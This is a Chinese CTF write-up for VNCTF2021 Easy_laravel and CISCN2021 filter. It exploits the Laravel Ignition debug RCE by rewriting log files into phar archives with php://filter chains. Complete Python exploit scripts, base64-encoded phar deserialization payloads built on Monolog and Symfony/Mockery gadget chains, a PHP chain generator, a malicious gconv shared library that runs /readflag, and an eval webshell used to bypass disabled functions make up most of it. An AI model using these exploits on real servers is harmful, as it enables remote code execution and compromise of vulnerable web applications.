热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

VNCTF2021EZ_laravel&&CISCN2021filterWP

 写在前面这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生

 

写在前面

这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生在不同框架时,可以通过分析日志来变通。

 

环境准备

环境是在 win下面的。

composer create-project laravel/laravel="8.0.*" laravel8.0 --prefer-dist
cd laravel8.0
composer require facade/ignition==2.5.1
php artisan serve

 

漏洞分析

由于我们是直接创建了一个项目所以,没有出现Ignition(Laravel 6+默认错误页面生成器),这个错误页面生成器会提供一个solutions。在 这个控制器中有入口。

src/Http/Controllers/ExecuteSolutionController.php

solution 可控 那就可以调用任意 solutionrun方法。且参数可控。

利用点在src/Solutions/MakeViewVariableOptionalSolution.php

viewFile 可控,可以或许可以任意写, $output 是否可控呢?打个断点,看是否污染吧。构造如下数据

如果我们传入了variableName$output 是不会改变的。

那么代码简化

$output=file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);

写入的文件 和 文件内容是没办法齐美的。写入木马自然不可以。

 

漏洞利用

原作者的思路,是尝试往日志文件中写入 phar 文件,然后在 file_get_contents 处触发 反序列化。

我们可以利用 php://filter/write=过滤器 来获取日志文件的内容,然后在写入过滤后的内容来,写入完整的 phar文件。


首先清除日志。

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

参考链接已经解释很详细了,就不造次了。


写入 payload

=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

可以先观察日志文件,日志只记录了报错信息。

[2021-05-19 07:54:58] local.ERROR: file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory at D:\\ctf\\phpstudy\\phpstudy_pro\\WWW\\sources\\laravel\\laravel8.0\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
……

可以发现 我们的payload (xxxxx) 出现了两次。

重点讲一下 写入phar 文件时清空干扰词遇见的的问题。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

quoted-printable-decode会把我们的payload解码,

然后在再 utf-16le->utf-8

utf-16le 是两个字节编码的,

可以看一下,其实 相当于 就是 将 1234 => 1\02\03\04\0

我们写入的payload也是这种形式的,我们希望在 utf-16le -> utf-8 的时候我们的payload可以得到正确的解码

那么就需要 payload 前面的字符数量是 偶数个。

喔?奇数个?我们是有两个payload在日志文件中的,这两个payload中间也是奇数个的。

而日志文件是奇数个的。
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话我们可以尝试复写一个前缀进去,
















xxxxAAxxxxAAxxxx
奇数偶数奇数偶数奇数
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话,我们处于前面位置的payload 就会在转码后 完整保留下来。当我把payload 换成phar 的链子的时候,出现了错误,我看有的师傅会在 payload 后面再加一个 A,问题是解决了。可能日志的问题吧。但加前缀在一定程度上一定没问题的。

如果在写入phar文件的时候出现了问题,不妨再在payload后加一个 A 后缀吧。

贴个自己写的exp吧。

import requests
import json
url = "http://127.0.0.1:8000/_ignition/execute-solution"
#清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
#payload
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpgAQAAAgAAABEAAAABAAAAAAAJAQAATzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e3M6NDoidGVzdCI7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czoxMDoiACoAaGFuZGxlciI7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN07IzUmEt8iAPk56fX9y7EGC+LREcCAAAAR0JNQg=='
file2=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()+'A'
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
file4='phar://../storage/logs/laravel.log'
def getpayload(file):
payload = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": file
}
})
return payload
headers = {
'Content-Type': 'application/json'
}
def write():
res=requests.request("POST", url, headers=headers, data=getpayload(file1))
if 'ErrorException' in res.text:
requests.request("POST", url, headers=headers, data=getpayload(file1))
requests.request("POST", url, headers=headers, data=getpayload('AA'))
requests.request("POST", url, headers=headers, data=getpayload(file2))
res=requests.request("POST", url, headers=headers, data=getpayload(file3))
if 'ErrorException' in res.text:
print('写入失败,重来喽')
write()

当然这个漏洞还可以利用 file_put_contents 通过 ftp 被动模式 打ssrf

 

题目



[VNCTF 2021]Easy_laravel

给了源码,phar文件写入日志的漏洞还在,但是要重新找一个链子。

__destruct

Importconfigurator 类中

__call()

HigherOrderMessage类中

这里可以实例化任意类,并调用其任意方法。

找存在危险函数的方法。

Mockclass

这里可以执行任意代码。

namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = 'jiang';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."");
$phar -> setMetadata($i);
$phar -> stopBuffering();
echo base64_encode(file_get_contents('phar.phar'));
}
?>

将payload 带进上面的 exp,打不通?这就是 在后面加’A’的问题了,去掉就可以了。

ban了 iconviconv_strlen。 有猫腻哈哈。留了 putenv,但还ban了 mail 应该就是利用 php://filter 中的 iconv转换器来加载恶意so 了,还开了 open_basedir

漏洞原型如下

https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80

先写一个可持续利用log 吧,不然每次都要重新打,很烦。

jiang.phar 内容是一个 eval($_GET[cmd])的木马

globini_set都没绕过 这open_basedir,很奇怪。

guoke师傅的wp里说 有 /readflag

在传入 .so 文件和 module文件的时候,不能从远程vps 上下载,只能分段传输了,切记 分段传输的时候 文件的完整性,如果最后没打通,来检查检查 .so文件是否完整。

#include
#include
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPIC

gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

在exp 中加入这个函数,跑就好了,上面的 write函数可以不用执行了,记得修改phar://

def read():
parm="?cmd=print_r(scandir('/tmp'));putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/jiang','jiang');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
while 'flag' not in res.text:
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print('continue')
parm="?cmd=echo file_get_contents('/tmp/flag');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print(res.text.split('')[1])
read()

这里比较玄学,因为在转换器触发.so 文件的时候,并不一定会成功,第一次做的时候 十几次,写wp再做的时候 跑了上百次,多发几次。( fuck 我加的


CISCN filter

题目就给了个 composer.json文件 和 控制器,hint是 log的配置

log可以写进本地配置自己打的,在config/web.config

同样是把报错内容写进 日志里。

不一样的是,日志的 payload(xxxxxxx) 只出现了一次,

我们 编码后的payload 一定是偶数,

前偶后偶,不用加前缀了,直接打payload就可以了诶。

本地环境可能有些问题,牛头不对马嘴了

这两个日志不同的 是 ??? 没了。

长度还变成了 奇数个。

不过不影响,因为我们 payload前面是不变的偶数,影响的只有后面,只有保证后面是偶数个,在 utf-16le->utf-8 的时候不报错就OK。

加一个 A 就行。

这道题的坑在

这里,

yii这个版本没可用的链子。

需要用 monolog组件的链子打

exp如下

import requests
import os
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq+AgAAAgAAABEAAAABAAAAAABnAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6Njoic29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NDoiY2FsYyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19BQAAAGR1bW15BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3SLzw7MRTDv+IZ+8iRcMtNeQdjWsQIAAABHQk1C'
payload=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
url = "http://localhost:8080/?file="
proxies = {
"http": None,
"https": None,
}
# 清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
#payload
file2=payload
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
file4='phar://../runtime/logs/app.log'
def write():
res = requests.get(url=url+file1,proxies=proxies)
while 'Congratulations!' not in res.text:
res = requests.get(url=url+file1,proxies=proxies)
#题目环境可能 payload前面偶数后奇数,所以后面再加以个 A (payload永远偶数)
#requests.get(url=url+'AA',proxies=proxies) #题目环境的日志可能不一样,如果加上A 出错,不加A 出不来,就把这个注释去掉
requests.get(url=url+file2+'A',proxies=proxies) # 本地如果加了A 出错,就把A去掉,
res = requests.get(url=url+file3,proxies=proxies)
if 'Congratulations!' not in res.text:
print('重来!!')
else:
print('写入成功')
read()
def read():
res=requests.get(url=url+file4,proxies=proxies)
print(res.text)
write()

动画

这是弹计算器的,buu上复现的话,记得换payload

每个人的目录结构不同,日志也会不一样,原理大抵如此,如果有遇到什么问题还请告知,还有爱春秋春季赛TP5.1.41的类似问题,也方便解答。

参考

https://www.ambionics.io/blog/laravel-debug-rce

https://xz.aliyun.com/t/9030


推荐阅读
  • 本文介绍了如何在iOS平台上使用GLSL着色器将YV12格式的视频帧数据转换为RGB格式,并展示了转换后的图像效果。通过详细的技术实现步骤和代码示例,读者可以轻松掌握这一过程,适用于需要进行视频处理的应用开发。 ... [详细]
  • 本文探讨了Android系统中支持的图像格式及其在不同版本中的兼容性问题,重点涵盖了存储、HTTP传输、相机功能以及SparseArray的应用。文章详细分析了从Android 10 (API 29) 到Android 11 的存储规范变化,并讨论了这些变化对图像处理的影响。此外,还介绍了如何通过系统升级和代码优化来解决版本兼容性问题,以确保应用程序在不同Android版本中稳定运行。 ... [详细]
  • 掌握PHP编程必备知识与技巧——全面教程在当今的PHP开发中,了解并运用最新的技术和最佳实践至关重要。本教程将详细介绍PHP编程的核心知识与实用技巧。首先,确保你正在使用PHP 5.3或更高版本,最好是最新版本,以充分利用其性能优化和新特性。此外,我们还将探讨代码结构、安全性和性能优化等方面的内容,帮助你成为一名更高效的PHP开发者。 ... [详细]
  • 本文介绍如何在 Android 中自定义加载对话框 CustomProgressDialog,包括自定义 View 类和 XML 布局文件的详细步骤。 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 深入解析Struts、Spring与Hibernate三大框架的面试要点与技巧 ... [详细]
  • 如何使用 `org.apache.tomcat.websocket.server.WsServerContainer.findMapping()` 方法及其代码示例解析 ... [详细]
  • 在探讨Hibernate框架的高级特性时,缓存机制和懒加载策略是提升数据操作效率的关键要素。缓存策略能够显著减少数据库访问次数,从而提高应用性能,特别是在处理频繁访问的数据时。Hibernate提供了多层次的缓存支持,包括一级缓存和二级缓存,以满足不同场景下的需求。懒加载策略则通过按需加载关联对象,进一步优化了资源利用和响应时间。本文将深入分析这些机制的实现原理及其最佳实践。 ... [详细]
  • 本文探讨了 Kafka 集群的高效部署与优化策略。首先介绍了 Kafka 的下载与安装步骤,包括从官方网站获取最新版本的压缩包并进行解压。随后详细讨论了集群配置的最佳实践,涵盖节点选择、网络优化和性能调优等方面,旨在提升系统的稳定性和处理能力。此外,还提供了常见的故障排查方法和监控方案,帮助运维人员更好地管理和维护 Kafka 集群。 ... [详细]
  • 本文作为探讨PHP依赖注入容器系列文章的开篇,将首先通过具体示例详细阐述依赖注入的基本概念及其重要性,为后续深入解析容器的实现奠定基础。 ... [详细]
  • 深入解析 Vue 中的 Axios 请求库
    本文深入探讨了 Vue 中的 Axios 请求库,详细解析了其核心功能与使用方法。Axios 是一个基于 Promise 的 HTTP 客户端,支持浏览器和 Node.js 环境。文章首先介绍了 Axios 的基本概念,随后通过具体示例展示了如何在 Vue 项目中集成和使用 Axios 进行数据请求。无论你是初学者还是有经验的开发者,本文都能为你解决 Vue.js 相关问题提供有价值的参考。 ... [详细]
  • 在CentOS上部署和配置FreeSWITCH
    在CentOS系统上部署和配置FreeSWITCH的过程涉及多个步骤。本文详细介绍了从源代码安装FreeSWITCH的方法,包括必要的依赖项安装、编译和配置过程。此外,还提供了常见的配置选项和故障排除技巧,帮助用户顺利完成部署并确保系统的稳定运行。 ... [详细]
  • HBase在金融大数据迁移中的应用与挑战
    随着最后一台设备的下线,标志着超过10PB的HBase数据迁移项目顺利完成。目前,新的集群已在新机房稳定运行超过两个月,监控数据显示,新集群的查询响应时间显著降低,系统稳定性大幅提升。此外,数据消费的波动也变得更加平滑,整体性能得到了显著优化。 ... [详细]
  • 本文探讨了在Lumen框架中实现自定义表单验证功能的方法与挑战。Lumen的表单验证机制默认返回无状态的JSON格式API响应,这给初学者带来了一定的难度。通过深入研究Validate类,作者分享了如何有效配置和使用自定义验证规则,以提升表单数据的准确性和安全性。 ... [详细]
  • 技术日志:深入探讨Spark Streaming与Spark SQL的融合应用
    技术日志:深入探讨Spark Streaming与Spark SQL的融合应用 ... [详细]
author-avatar
再见要死不活的_454
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有